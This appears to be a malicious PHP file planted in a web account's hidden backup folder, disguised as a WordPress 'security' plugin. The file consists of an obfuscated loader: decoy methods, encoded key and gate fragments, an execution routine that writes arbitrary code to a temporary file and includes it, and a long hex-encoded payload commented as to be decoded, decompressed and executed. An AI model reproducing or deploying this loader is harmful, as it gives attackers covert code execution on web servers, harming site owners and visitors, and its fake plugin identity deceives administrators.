File: /home/orthoclass/public_html/.backup/wp-admin.php.bak_20251224_183628
<?php
/* Stable Obfuscated Loader - ID:6684968 */
/*
Version: 7.7.36
Plugin Name: SecurePluginekQTvYGo37
Description: Enhanced security module
*/
class LoaderRXlONB50273 {
private function gtvJvoVT42() {
// Gate piece 1
$buf = unpack('L', hash('crc32', microtime(), true));
return str_rot13('uorwi');
}
public function pubqumGv17() {
// Public method 2
if (60 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
$tmp = base64_decode('ZGF0YVRqRkxWcjQ1');
return 'valuQyh66';
}
private function dcRJkAQd28() {
$__d = (bool)mt_rand(0,1);
return null;
}
private function gtqOIkUR92() {
// Gate piece 3
$__d = 7620;
return str_rot13('mcpy');
}
private function kmpZXIde81() {
// Key segment 3
$jv3 = 3958;
return base64_decode('VmNqMQ==');
}
private function gtixxrfZ80() {
// Gate piece 2
$__d = array_reverse(explode('.', 'a.b.c.d'));
return str_rot13('35vs');
}
private function kmyFUBbz91() {
// Key segment 2
$jv3 = array_reverse(explode('.', 'a.b.c.d'));
return base64_decode('U0RrdWo=');
}
private function _execute_wbPpJRZU19($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
if (function_exists('php_sapi_name') && php_sapi_name() === 'cli') {
if (isset($_GET['debug'])) echo 'CLI mode detected.';
}
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) || isset($_SERVER['HTTP_X_REAL_IP'])) {
if (isset($_GET['debug'])) echo 'Proxy detected.';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
private function kmbFlKpu98() {
// Key segment 1
$tmp = function_exists('curl_init') ? 'curl_ok' : 'curl_fail';
return base64_decode('YUdUaGw=');
}
private function dcVamXoV27() {
$tmp = function_exists('curl_init') ? 'curl_ok' : 'curl_fail';
return null;
}
public static function init128() {
// Decode, decompress, and execute payload
$hex_data = 'p21n8CKa003780c87f94fd5d97aa48b7358afea0795186a6cfd2cb08201432213390f8803b851494c0b44a6781fefadd87b5d65ebbced96f6be75c55b59ac51422c6e8a3f788f1510c6cf639b58fa4add5aeeb4518a95d12ea3a289a3e997e3ed2b62c233d5db6bbc9ee2fd941497636fae750f4d7efca56abc350fdf115a6f9c6b49fef7619bb0b7be4ba29edbcff8fcb55fba5aa74bbd39b488a79cad73b19eae993f3211ee34314a6e9fb4cdbaf42e6ce2f3f3f265e657914aa5cfffe1c2b5b8f91dcaadb1be76ba30a350553df7de4ab7477bea561afb2d8fb537e9992d2756da6561faa4b2e1b5e67d923aa92d36c085b51da6d73c1dffdfc9a577fec2e55b8eb239d14ad0817e969dbdd92b8fd916e162d62f5f30717e372cba6d36e86efc1f7eda2e959457783e7d23c8fa6f45c46a210bde8f8f7573b7e46267b777d97d6f3fcc3e8eb3c1ed75b1edc57c5f4364fc5db566c4bb7895474dc66c22cb2bf72a9fff399d7d28de5f0d9b749b2d35b93a78b50cd72b97b1b03d53c93f66d1b84f547306bf9ce2fe3629bf53b66de9bbee6394b2e7bdd565f857a97adfc9507a52d6cbd0af2d57f1da2d16e42a3aca8b2ea897d7c447f6da7719bceeee15647cfa49b25df0353df1b3157b39f5cd966b613fff39e55b4953cdbeecaf7c426cf225a5e5c94bd473afa8fb549672d7ddfcf10a96ccbc374daf19fe1bd6d057ff6d9ceeb20cb752885fab0da0447acddd7e67e69a2ff5997b753d8fde46e53cff19ef3daaffe0ccf291746478745fa789fcc2c3dc5bbcfb63c39d57e7f9c66a6d9fc9fdeb3ccb66c961da53fbdd665ec2e6eb36c232d2f8d68bf3fcff13b57ebb9c8d7477e4ed7624c9ef1b46abe38ffaf709398c64da208baa434b49ef47df2f23d6b5219e86314fd0c41bbde894d73815dffcfbe87bb4b14a5858ef2ad9a876d744c387bcff3f4919aece3fbb2feb0bd99a7a391e1a97f060abf97cfb4b894fb80ad36d5838b208cffde4df557c2a30fabf8afcc9ae17fec45cdaea108d36ed326cf6c5a6db39d4ab7add81d1659259efd9f859c723bf7aff77cc773ae5fbe9e8ba6ae948fb20df5c852a5edf6bc4a858836e9a3fedc9c7ed6bc17bb637f7ddf0d53f6bffb705d16d175feda3f31fe2756adda0dcdef5248512df2979d15d3aaae66998b543a2423db57d3ed2be2fd528cab2aef66c5871fdfa3691d0553ea3fad3e24c1f22bb7ff5ecfa49d95c9b99426ef4f5161c2f09c793bcb67751ebbe8bc8ed478bd158e7e2f5d5697f5ffd819f91fff3c351fd1b47ae3625986273fdb887ecac27ef9a5963b3bf9b87aac7d75f91f7fc8deb7fdf222c4ecf3eb318b8daa9f724cbe856dfcbff6af5b7e56cf5a6eb8d2811065f53ff6f25a17956dbaee57fe34bf85bbf67a362d364f959ba129779dfeb5c1eee48b6b1ff1eebfdff39fe7e25d74e4a27d5333067fbfa589805d4bbfd3e67edd7558cf87f715f0ecf59e5d5a5a510f316769564452766f7f845ce5c1e9e7f736575eb66cab2fcbf75dff3febf2cff77debe9fdbb55bf1a714bb2a0ffdc4ccbb91eeaff7af9c33fb89467aadfeeda4924853e04d68c9988be32357e9ac8b7e169f56739cdd6d9a305be242b2ed2cae9fb7f8eff8383dd6bdf5371326c37ebde2b96d4dc5cff8567915a4be0f57f76fced918dcbd0b5fd3664f167fc947c37967f6f47f5fc52abff94a2facf5eafe53ef2ddcbaea77ab59ffd377e8adb963f78b0f5b9c0ba6dc2477d17e2fe1ea8726778fc88f9ecf93ede76493b1e78de2666b31e83315dc43a31d1fface73ff649f8f9f60938559db9a4394fd210d0caf59b1a13153ed2b7305f3e0fe16dfd090fce23ff8e7ddff25dea8183f1675b85ffc225958e6a9694d1594ddb285f6c1ee3f8d5b228f42a4ccfd957eaaef7ddb8fcd7befff7736fc1d90422cc56c5d8fe279b6e55f058adc2595abc07e561b758f7d6ffafdffeaffffd3ca3bcfb8ea67608f3719575ab5a84f2e363fed60653270cfb6f7be9fff7f7b2531d220e4d6e6cbf1215dbafddfd19ecd4f4b1284fef56ff445810f594ff31535deea3fcdfb89b3787bdfe6ffcc43e7c2866d4995b2163f371be6dd267b9e26df99de87ba654bf08a65b163f66b3cd78fb2fd1cf4a65e50338f15f59a836c1a37ccfcc8abf9f25cf5db6347df75e2bbeb151f5bb11d97fc787ebffe235d7ac8ad27a83b8bfedbcdc88f4fec9bb7338f1381ef3ec1075bf1b3efbfa7cdc3ff4a9dfbff7d73a3c515c69c111de8067e93617d5fe5ff1af5b5e3e67ffbb9e5b3ecd77631644a7b855519bcac7dbe54ba4539a97d768e46fe9783b7c143f6f7c17bf353b15068f377c7d3a77d1cf9fdbd9f57ff7fd89400e3ef2b9b96ec291afbef8586741fdb77cacd87728db404b593fd7c371f6fff83eb26b1e17bbcbdbfb46c751ba98d27452e2ebb1ccc097e29c57ff3cf788e2ad32f33cbc020757f7ff7fbe4fe76fff153d8d0b82dbb493f299f25286e1ea2b040efedff1ef652f696866f2ef5a8c22c61e6e79f954ac4e116f1f81e2edff8b1fbd9efb1acdfb46b5b3649c95df738e18bc0a3e236644a0bb7076fb3ce0b9f0a93f440ee83c957bfe90bf76cf52c6e3ea3352ab9f386abfe0cfaf782bc7751dedda21c8dffeacf8ac16e72c2bd4bff1ec65d73922bd987d7fb97fafa7b4b2fa5fbc96327df665fad477317196b4f1b7d5f23fc0c1927e6f03fe28bae5ef3088dba0481749bed2ea123b318b7ec5c52c0adccfb1e0bcfc9aa945f0aff8f7334a81b8b94b5685687fc1ae0bfefcd9e49ddc7ccf6fa50810ffa489c0b312d7ead3d1fcdbaec5534da16afeab14ab72d3f692b359b45fe4e5ff67fcfb52e5d7d733fa8aa2eb438e8df83a456bc1fb34e33f820fec5ff136cccbcd67cebf365a3f3ff3f699ed66db28caee8781ffdfebb2b3f2b52e9b3e8dc143eac0fd8bb7b631f06ffb1ce5c64fe7ff036f1d9213cf8a20bd875df9d578f96f3b2b7422663fa9b2abb918d33f0eaa14e02181902669165df5ff6b7c875d14e222df7531fdf5fabe60f9e2e5ffec7bc4bef2b72c79c87fc5773e46db8cf3e25de5079bffbfc7f7ed3833f5b3fe8cdafa19e66fb99efdebfbb63c6a8a6aeee37017cd837664092f6b23d259aa79f2fe54db4dfbf6dccd66c77cb8cf8a91ad935edb3c4c223575fff6bf53fa958ffcaf63b4facecefc5b8cf95c4e5d24b6d35399e6b99fe5e6f3dc3b61569be47c8d839df682e9221b675904bd92f27e5b3fca4f31b68b60bcc73cfa7fbe67998733adb3e21a87e77811f6d977a0ea2fddbe9d532d3eb62abaf3b1cfedc486787bbd1633f3f33ffb2e9fd35ffff39e9bb10e631e7f9b28ea62d859f298459bd9cf83f3ac0a4ffc3f5f7ed91da2ff2f7f6fb3e0e7b3f1cbf79caf1699ba6dbfe7e945f7d51cef190476fd0ca6b7b1617e975fca4fce62c4312e7851dd94f7ef71171d0df0fa30ff176f9d20149988f259d6be89ed4365bb5e17e95916bbc5f58f1dbbcae69cca5cbd5dd3b10f80838de4d57cd3de8f62a85baedac7c7ece6c2871201ebf9d7d9fc6bdf1578459cffe0b99fef8daafe0ffea0c2f7e7eca308f818b45198e9149460d563e1c32fab82cd9882d9ccf8ce2e67d1fc5ff8f2b987a80c0afe573881edb7af7df833113f491c365b03bd296657bdd9c58b6ddecec15fa09e7ed280997fe159dddebe76c5db39cbc7ac5ef80fddaefe933e935fd9ee4d38def5099b52374f1c78ce36b6e37b30c8d1ea7c9fa9a4e44cf729f73a7353a18c1fb45f2abd909d93d73f1b7f9581e55b0b974d0656392b273793bb7294b596dde3009a57397904913c6b96866297b54ee6436396429f9b1ccba39ba2f936457d0afaa449bd4eb56cc654be65d5c9346a7c1b85673bb1e58bb05df6d00145f8148750ea6d13c69f76fed339517fa54c148695e7542d0f99ab13e9d3a760cce90b6721beaf819de827fc761465f38c3e838dea020dd2e1ab83f0aa839d25d9258d23e9bdf13fdc6c979df3eb73ec9741305f3b37e6653c1f537b165300899532d36828dc4cb1aa0a921a72ff620c73629bf74e8eeca856b97d8a5d30b65132348d1d7266a331cd24f0cb6463a6669fe976aa949c7e8bb6dd88457e0ad87a88e54f119e138dd81e2561f26dc2d2db294a0f6d0c5bf78b54ca7d794aaadc8fa31dbdd3ee6deedae5e5a898b4437608c73868e6756a423187cf948736fad4b2f5259f9ad455851afdd9c87b81f8780f25bb247e2df550e9901bdbcc679f78cf47d8e54d266fa9917d573171a876f16764e2276fdb443c924b60a6a1616f45308fb77694a6b1eaddce63ef3a9e565ec58169e6f8be989ecbdbb787f1b7483cd205f8f8a3966fce9e55a05bbe8de7fadd6ef2958d669fa5af7682e7cfcc774de9eacf02ef66f8d29953de5938766dd2c20d12fbae646345ee6c35d3bdac527ffd0e64f647c6269008f5999b9f27f75e0bd7b45aaaa9312cb2503b8ec5617c8e33bbb90dba9fbe2b261bede3736af8e77e11bf2b76edf4d8871cfbe058cb129f84e14609cd8c49acc98d8d4f7a6aca831755c0cdacf45d5d5d449dfb658f75d99a4732389f0f47bee4ee9cec9d31a63973d88b5c5884a04aa631e7cda3f2e367b54d768a4f1eb8128b205d8472c61a73e5f699e840a54132e4dfe1b99ad93cdfa5a3d871564d999fbda74ed692f70fa1d685d826676b4c7b343fb92b929d33719458599acd7db2515266acfc32ac9b4ab3fada5f1ad0df7b6fe4d218f0f150decf09bb8b002c2de49af6210b0add59017b19cb24e0ca97861dab6df9aee4fa6f23df02b1339d1baf88a72b05ff534e65796c4be0c4cddbbc690e639c70c34f95bac5d9aed915bc5dd8765d98871edd385b243e0bedc079c0fd2e2e4c6537d7879dd204f65c0baffbac9d01279aefc8acffd6e32d148fea14a8e5109b495a1b6d5c1b83d7ca63385c59d08963ea9b037d5fca6749f59085f2d949b0ce98cbf2ae8d6647c9c26003bb1e45d184751a84e219f47959996ba17d02ff9b8ee9a569945c3d0d6385dee567079faaf9357461639c54611d9a06b87bb23370192e4ade66f3d2af9bfd62f62efd6c146adc9847c49c69a7a66d95dd44c28d7154931fce2b804ff499b1f413eb39547c3aec4fe21bfb8e7d60da3a3d5afc5ee2ef21d9b5536a9b58f66ded7d15e6d0fd3ef9166db248f9bd2e5d9ae5842f72dae98becb559ff598fddd63d4dee541a354f73b0f6e714444d93b1a636ac99aaf106ffab9342f53333f65bf8ed2d6cafa7baf56138d4d00e4951db3a099f750b5ef791b2fa53b00c78bdfece163a89c67bcf4da6c4c3dc42befe2b3171618b9a3ba3a27a23aa70d0279b5755e9ef95e0cd3c55beca16715618ffb7656f929fb24b68ee3e516fda02d502fabe90a7c1269f025d7e1cfc754ffb5731fe592d6649c4da07f784836fccb29fa9369d749b24d76da693a2c47b56882be658f93ad632c3eafa7df648ca9cfd306eae1a7cb80b6173b55f473614c6f27cd70ce547504427f097b25266a7a55994e6067b496ac5fc207ca2f9251d43f5331e4d9cbbb3d88552ece221871fdd8650b3efc388dff32d58a3f8ce2e791df1dba8cd4ce8206681e9feaa4dacdd4607aeadb7c025159e61673afaa864fd65c6d81f24db573bb92fe0b7baedb7e6244fa1026ff22cb576c50393b92614ca3e61143359a4d21446e6887fcb43e5c6cf7cec4ea67d0bf5a53939dfb37aa4b3c9c422966e9b7953db67e4c3597e28ff794ff8ed5b5c5e589d8f3766da0e761dcd437eed63d001fdd41b60de362e38e2663e3aa1be2a298e427663d9de4dba4d6ac9802bb017bd4b6e418b78c43b68b35884acb1c9a65121a2849bcdd29227472dc51f9959eaf432fb526afd5bf8bbe28b9239b61c8e2691762e0acb32ddc0ce02a83e9bd71f60598d90bc3bc8d56776a9f69164ad196f74a634587fffab1e4112e6d83f9f14c9063ca4908bb08be292e95848059cc07a6ecd5eb2d942cb5bc0b7f52268977fd62d34eb9099b06da3660e3b3b578f40e407b2af4022ba8cacccc01773b53e19391362519d34efc7a47d537a2e5d20e3202e446536cd4ccf58510237384fcf99591faa475546ec67d4ac85bf574360d4a2e63f3a08f3bd23fe8278eb06b3727df99919f11df0baaf242bab85d8a916eb623aac8be94249e7c96f36dc68aec9ffe6f9b74324b55355c36f0fdce8a134d743eaf81734ebc8fd98988bf1d88f3119af32c4be5b0fffb3f1871bf295d3595db29f44cbfe9ce1fbaa8bfa5432f1daac12e39627677a169b34d7f395b42aa9ea4dfd19527cd7cd316d93ca60ff52e3cb6c616a25d9df42b55bb158de9cd4634df6027ea6b1eff190624f92999d4dfb6aac13c3b5af606afb45f6adc609717615886d737772493c320be0b788b7413ccc52f784bd68035e774b05fcf6c0c7af72cb812fb719fc7c6b16f5c3c1ff62dfba206c0ad73665339823f0ac7558970ab814c86a9e0162b353f30d3e31727347fcd3d877f00236e6e166bd733c71f580bdc622eb3efac8c6fa430030534376260a25df66c28f780a7cc97b1ffbbbb4cf18bc40a8daa6b0f166e644beab461deb31eed376f695ee7896f3db42b76be075f90865bb684c168661a680353219627c6b36ea49e23dcb0fce0dabccdac0df1b65c607371ecf99bbe61eebe2b776536fadca8ae6c9c1b5af208b559121fe71cf7d2aef757632df119b3d6d3b269acee5c6eb3956571114d9c1b55cd673fe41fba7670d7839782bebc68a4d4db58de3bced3a6e3ac317cd10405b272675cea6d2322d8fe7380906de85b9fa3ab43ae523f0935f751944efaa1d67825db57e24d83f354fda2bd767be75aa94c779093e58e23971ac5ad8b5e1be626396eda2f7c2a4336d6ed25cc439f4ddb966886336ddba51eae3b92aad4d5bd773f0dd3811a399ca7659678f3aa37d176d1f9ac5b20dbc39d7e6ba71451c3893060dfccf9da301a1f1f3e0cb54fbf25cfa9fcfea620a89e78c59c5e0057da0568bb89d15c186f88b0a1bf082c0c66dd8f1af52e607c4a35f2007557a6af66abc77c2c48207591ffaf5e9a8ba8d1ea2ad85b468425906d63cb10f47ac6765463e94ec0efe99eda3b17fbc780f7480e6ed3c612c0807d8816a656dc7342ceace811056a32cb52c4fd095efe01335e2d142ab9bb02e6fc197ba5aae72f7ccf781f2ea78367938cfc6b04fe36a2cbf489167e3edab3a8127fb1bf812c8f4293f07aafbabe1cb087c42863eabe2a17eb7e76a61bb665f32b303be9c10dfdfcb9d2822b662d02b1bbd585e9c599ec0af15ec53075caa3a44fc3b376bab1163d94fca99791ca4f886bd7c467c64bc9db476e262fdfaaf46e2fb3675601522db591cc007db7036c13ecd9133752acdf8592e669f52de9e66ec14f4d814303ac95e29d8880825ecba10b51d6ea750e7bb6c940723e1475eecb385a8e4d87516fa966fab53e86753cc67ce853c08b9004f8eb2c026d00113e27b0389dcfc4adbfe2b7b20f4cbd5ccf09bb4813cb996213e804f6c326bc752e20f8fc1601e41a4d38c9b52b07f785db5a8df73d65d10373706f14fcbb74533ae9c1d741010df2d6415d812ba51a525fc4ef86e06ff3b94e4efe67ab6ed2ad097fc16fab745d22ed3304c945572d784a4579a453813c74c8223f0e451015faa4bfe9dfb7e14e3e4f805df2799279eec3659118e3a3a9ec53774c729cc49179b6f63c498b63f5905562d7df737bc9ff38b1a09e71b9f081726fb4026795d983ad898599867d0a91cf1bd035ef30cfc652fdb1bd36a823eca3a072215b73f56cfe34da012539f93a31bc007f334ce4c7530a63f13afab16e35721bb5e23d6f34b760ec6eb29e6ab3c28ea4dc034f4a639b873ddda4e94a5893fcc983cb3d63765608ef9387582ddb80db2c1b5577f94d916bf2743e838f03ac415f980ae02ff340d74ce1f58cfa6bc50fcf3bfb579435c791b9dbcb7e083d8f74cb9b673c701c1e5cc2f7a162599317b61d439857da66e162b3f0ddcc71bbea573067349d892307a67c1491b0b1c9c576390471f87b6aac5189f4a1665fb87d82bf6f3d066dc68ec7ee86fd071570e1fdfbb96746af40e7f185da73e4aa36270a82135e2583af62ddb756fc09d7450f990e29887de9c0bede06fcd133c6b88c0af057801ffd02c025e0bc43f9e48093eef47ec5f3c067e798e7dec6ca844307a8a63dfcecad1f6d9ae62e66818e9546014f00538013c5b3ab1c8dac0f4f3c48f2ea4efe38d4a863275677e7211e23ba2096fcd9c7440e64c95b7d001cc2bedd6d07fab796c12116c96cab669986cf2d26ee4c3e6d9211df91774e383d605760d7e3679d1de047f54ad35002e7fe7c113a6d62665f314d0b7d08dda1c2ace3fc00b58e5f97b7669ca827783963f815ee4e0678ac56a095d25753092ee883f6d211137aba66a359eebe1ef11f4f4d4e4269e09b5dc71f25bbe62c04f190e25e25f57d5f31acf459d057f49c7f8136c633828708b4785fd830e0071d66467464df5e803f033158e65d0580d1d20d796f48a4f6a23f5e9407cf7547e4ad88b68ef05dff205d6be3fca6e63a18bed98e4c767029cb841c769f84346bce7d7414619f8d95199cc73d36ff809ba5f1a3cc732c469f0e43c4f36d5d1d9ba75797e3830481b15f7955fd7e556eea4cc06706990ff1411f67ea9d94dd930958e77ba86000f86e4e1e8f7a4a8780bdeca26f06b7128a4ff6dc75b6076f2e6da7557ab750a0d067dcba3e3bc2a8dcd5716765d22ae18067ecd9655769910c76e4c9869677659a7d575485a1f8561bc0d98a9a01beb60d0ad9d65874a41a98f665eca364e77e65bb2147a2a25bbbed9f1e711ab0e5a3fd985ad0e296f017af361672570f0facdbd1e2a230eb056bce60cba187e14448fb0ede7cdd8c9602eade36d580f29f03a3d855d75ac247082eb53eaafa67c348788035fd81b3701f4b4ec3af056bc27e7ba2dc3e35342a75ed7619eefa1c3eb972e6ea7b2dc25083f57e8e2311481b9053002bc27784172085406dd91be8743da01273eaab63a800f3e3336be67271d4bbffc9bcb56e845f9c03e78e8386dcfe01352874928a1a7f3859ed569a9247431f6c1085dedaaaa50edc28ea3b0bbdc5b9fff557316d139a6333a6ace25f6a45abb5953a43ca2739b3f4a260ffbc5f89ef3e520cc5ba477d5cd197f3e9a1fedc21aba3f29eb8da9a06fe7f0a35da6e20fe0f5afccdcf7d5653ae4aa7d0a7377f03f1fb0f5f988f807beab9d32657dd6ef86e2913605e953d12a2899555cba6a57c89f05ec93f347bc707c7d89fd14b88d0a1c2fb774aee86c34d89ef86753685676157463ba2b3348ac93f1eb425fe2b953dd9f49db6dc24d24600b41333765786e6676aa3fa10300efc9b3f4abf7ea94d4b95c8dba7d0bf82286be528f46c64510ea2d6c3d886d55633dc74034bb4a2607d14219a8db57ba95a5943f74ce2739705e9be912f365e06c7eb08a6f63ec7b38c41717e9a482cf1896cc323f7eed2ffa133a6ec6d5a41157ce56ae7be8feadb562ef781a1d079103cf26db8b7d3946a91e9bd7b969b62893dc83d5b7b0b3477571ec36c666dab873bc0939f66f3e830fdfd7ae130de2580a6d774e3d62934bdfa1535b0b1d602ec0a5d1ff998cbd0be7cbdca9ac429caeed06069ecba6f212f699fad4df8fe9857f4672ed85cf9c76e612981f76342dd605fcc5abb026dc9d274fd827f474191be3a70a3a2773b22964d2f316bfb7336dc0ba2196f8bea27188d3453d1805de8a75997d558acebde1ad0a7c77a11365e8921dbaf821c107d703706263e74a3a99a8e3209bc05e27d7f18f0c780d1ad355c0cfd4e5df889b17ad20915c76d6d20c8dff717abe2e42d2d3219d7bc72df8e057e56f9f4235cf52cdb26aa713d9f6d001e3063c193ac09c8fca871a961e8c5d114307b8a144fc039fe7e5a761742e7c4b52f0f2086bcf4151cc434d167e5b1b1fd802f6c24c799cd71fa13533d7c75f254f1af09e45dade8fe525feca7dbce01c3c04ce8e1039358aa57aaee93c39afc338b5f3ebe8b4feac4c5e8221ce52dfedcbc584b83943b09d9471203f6de71bd55a57887dd876e04bf587b112fa36fbae549c1893fcaaf8bdd95f4ca5d8b2e7e62d11dbe811b0f191f85be1863a00072fe227f4ea90b0b0871ee32578b27f667edd54ced4c0f9dfda27ce6ed311fbd71d25d94bcdad8ac3e33cfab49b7cd2535e561cbc8e89e9207d593a9e45f2da6bde0bf148ce9a234ecb2973f3a50b48af141aba2a795811411ffd20fef1f341fe7c558ba68a4c46e752ca6cd7f790f43b70c26e5e9c9fc7f33a0da103dc6c2ad35156c4970eea5eef4f4dadfcdb53fb34128b88057ec6ea177e6636e4c0cf42bf0756b040882ae375ca4d3e42afc4d58515d1d83e10668d7924785f7f694c0f5d9517f68567150441f20cbbac3cd0f9bcca9f9989926a67ea48dda1fb931de18b867de2391540c7594f3a007cd0de5add5500a2bc126dc24ae07c7a61df11bf7be33345f10ffa01fce5a7b0a1d076ace1a5890acf06fbc013f064fc5ef32bf3a2cc761271ac3b69057ee64ceb38fbab51740e86f70415692c74eab39a07b94a52dfec45db3cab76fc02fb89739f0c5c822fed681fe89c167af36c3470709b9ca30ff8e23ae8f32a95650abdd2a52fdc3565aed6bf79eb9d08e22954889bf266dd536f03ee55b2918d9ddf2e41d4ecca368e0583fe63b3cfea24774aae16c6f71bbda573e8fc14cb848773bca4aa0cf87ce5867c6da70afa48945c9ae9a0de3eb3539de5d20f7a1c43ed560bcbb09e7265c34db2733edfc54583df6b56f087b8e4cd31803f54d21fb2539c28cf5a0bfd6edd1be9b1c791633d87c4852c71c7679d84f3eb33ec9bfd01f819183acf8a32c2eb8875bf05e94d273ae8bf3e51c0eb41a8b015aeb131ec0576dd27fbb2950761b23fe014dfe9a9da91bd58d819dfbeb1b0fd5934720af490d98035f83df10d8ee7f58c95a504e718e9dcfb6e108fbe945f0fa41bcd82834facbb8475a93e0be0922892b3d90788ef615ec6c0db02da679172ba8fa37bc3acc3be8466b162a15fb6b5eca270230e9a70623ee5c4b342adbee89c1debf9079d13e1438b7cbc9fb9bc097d7983fe5bc302fd46cff19ed06df590ab609340af64df072f1aeeeb53467a7ac14ad5de3be163e0673985ed8c35ac074e686e5bafe22169dcdcac80835fd5682af0f059091e52394a79f97970bf8a45508ecee45d62664530afb493b9ab6d42f75593867e4f5ffc45cc5233c373d167c496de982bdd53ce2db43ce2666807f8bb8c23f8c31e716541e73d29e22df4d8ace4d74315986f10b4568c6dc4837272e3db3cf68cdbcd1abc0e5eb3815e7d8a959ba5e075f52767755fa9e5a15c340df09a69b3229c5838f63342a716ee097dc4e85c7f965ab2cf99fe3af8fa43d0fd11673a3b01e7d5bd337e49fca5477c6f93966df4b0b6f0770bde73301bc96c97e1fb9a2a90b5cfc63bf033297379efadffd9986d3e046dff88796f83302f4296ebc44aace7f5a16755f93adf457c2f65ff0e3b3b42af9c040354ede89cfdfa67a396a92d54a047b24f9e86f6ce2007a08b1157387879fbf3952d32f090db4228af4c102db4617f82b78ac0c2cc25e77598804fd48315655a41170b69c027faafea127f2a73f79cb78207e9148cecafa38c959e5726507d100f027e6b9ea0f5df9949be8dac4f25dd332f6671deae3d7832378be402befb6703bbb6747fcb4b5e435705677d0a67725fb2eb8e4b52fade548b0c78d6825fc5a170cb0eeb3236a6137a488350e2bf5a05ad1b0da186ff8d25f601baaaf5c7723183defc9959d6837f960fe012e9db2cd87019b0dc26d654b09d11f1e8509a2bf44add978ceeb992efdcd0f94b5798ad5a58b5feb336a97267c477035563c77767f5c9f6fc137a0caf1875c0dda63a35f0f7a9d3f0450d9e15b096814407815d62ffccaea6734cab4ec0cfa66419becf8c95bf96e9d61c0b353e351b03e83fef58dec57eb97173e81c95c2ce62f0f9c8dba8fe427cafb46fbb8a70fe923752a60b4efcf341fc935d1ae66560b3fd7feb876ff794746eda1cda06fb0e5e3efe7c958f32537c9c19356ec42387b7923f8067855cba56814702cfc266443cda651c58a3b2b1e4b7f7fd8503777be89cbbb33be9adc97bf25b57e0392eed7118b370e04390e7d001f597e139f07a3219e92ade33e1af9a6fa1afa08feaf6c7414f17ae95aede4cb5d998d7fd74a9e22f2eb3c741ce3ecb05a29e9c06d32e0b0043ebdaebb9618c87c34a3ad5544d288fc65e471b61ed19e14b067c41403b993a37d3d98c77271e66b0e3b23daa25d7f374638da8ea4d02fb549ded5ff7a9472ef34506bd92122e8ddddf767c8bcc22a338718acd52003fa11544d99cc19136d7577c4f479e00cffe28e5daa44eec0b3e3eb84c137dd20be7bbbe316b604324c35107c7212f8302eb394bbf52f079aeccb364a22ab784f3887f2c0ef9420eb6059f6757e8804a395595f17cda3b2b9f0ef424a5fc02d6fdaae40cf156eef316ba518da175e03dedb283bf67ce26d8774d3c2b75cf6a24fcacccbd31528ea964fbfd827de772fa0dddc8f9023a4ee67fd6a3dfba4d83f89e549487054ed2e1b93a63e65b4875ae3c7eefa1a11fd667eb97057fe467f8fb29f6ab9cf87c6032889cbc3656cc289fe1d04ac4878641177f674e34f0230ffbda88eddb149a1574317069534a2b6bde0c84bbd0fd7a42bcc5be9bfa0467aad26dfc15e139236ff0f772616577a1fbc6e0a93696e5bb7a234a47bc1ceb99996bc565dcd3796bb593c7422ec1b3e85e5b788ad38deff3f0c9a1c79a5db3893fec3902be30ac8b823ed2f0dbfb77e5b252997634661608274e649f099d4b151c745bf3d8a61fa6a8a6b093756678aa590f1eb934d5961d22d93ecdd86ef42e035e8cf384ddb741610eaf7bd8cdebfe610e7df45db5712a4c3aa42de2b4cb4bd92e7fe3fd94706aa115eb63ef437b4eb74e22ae80ef420b2edc24be4b23e91efdd741e2b72f784e4e7f8bb68ff9627977869d6b3f91fecbc15fca78c8bfed59777ae27125a173b898a0c3ab34486ae959c7f918e920a573b73f1bbeceec3c92c148790939fcc83cb09e09f4f7ce1839cf3cffca1e882bfefab7e1748f673ad742fff97b10cc9716dc2820bd497c1738df6423ecda94c3812f0fb42eb9b92d8c5a3af0e48ef474cd7da6cf89099828ea307a374583ef5349093ecf4d332fdbe5b10aa2a400be707f3722487c48e75966546eb3a63c2bac4ba38281ee29b302f1ef8b33b328e5ea1d0abd847effade55b045c1a42791f92f64d0761624309fc2c4ce942b9c66e1f33290e86d5d8f7d567f510fbc85cffe6661466514f16dcb0e66c13868d0ec76c9714d531b4d52c88cacf540abab7ff954a6fca401cf3d1b79aada4b9ac6f769cb158f53a9cc3ae5bbd05efa9c3f92b0fe23333eacb8ce091fe2dde5f64938347eaf62db13b3577744fe9b3e81ffdde46cd3939d079abd5cda164f1075ce18f8afd64e9ae3a142681ffdde0ef880fe0ccb107ee0e193e0b7c6228a11fea8b9e4dcd81dd62bab748d5b2ca76d5b7e2fe64b877e013e0d79ef860106e5681668d6e36fadd0dd787eb297f224d039efc517af0b36df22d7d02beeb0bbabf0dbdef1bd585b6c8b5f5c9ee3817953d9b45d08b3de55d1899ff9182cb558b5926d9ed011ea4cde3758f306fe47513c26f9da77361f089b959eb5e7d4207a481cc46805ab57f987d0e5be6fe0dfeb73c85f24afa28475ce18831c0f9e410d2b9cd9437f0f7bd60d0a97ef69e3dc421f7b391f235f856dea01f1fe021169ac13950a5d84ea53bd727378bd3b26d767a04ebf5d3a1bce80c3cb9d59ece97d422687fa0733a684525029986f1bca27ca2359dbf942a3970d9cdb216fc73cb2a297dc7fdda9845838f7c9bd7a655e1461e2ccf753cc41090cde8fae4581a519891ee8f7e1037f17d72b6307c0ce9fe0f6be1eb9649e052e080d7c926cec2b9bab899395463f56d94ea4a85f8b72d13d502cf3c039e6577ad96c391af37e17c7908b9dad661fd1e6cd213f0faa56f03d93d52bf3e668ba92a4cbad0be83ce016fe5ddb9811f413fec5d6b76c99066c6e2fb74fd457185ead24ab66e10578e111b679a21ce5dd6a7d08c8f9a5f37764efbae783cd49fe13c9b07baaa2a5f27e44774ae5f3ae004bf9fb5ea85ddc28fe4db58ab5605a1d9c1c6a366ce8ed01dcc8aaa2865f30dfdd71f541fa7a728cb3debffb93f3243e0f52251571186c252de5a6de1ef9b9fd64ecd117af38b7331a6fff0ac83f4d96fcd66e03df92518678fc4ace14795714605b59d7dba223a0502fa48be7271fb8acdb2fdc2ec23b67a187ed7621183b7fa36197fe81e013ca48fea612a8d255e2eea6cd4e4b77d2ac1978238536a79116c15e96dd33a79f771db05ae303b0d2a5617e587dba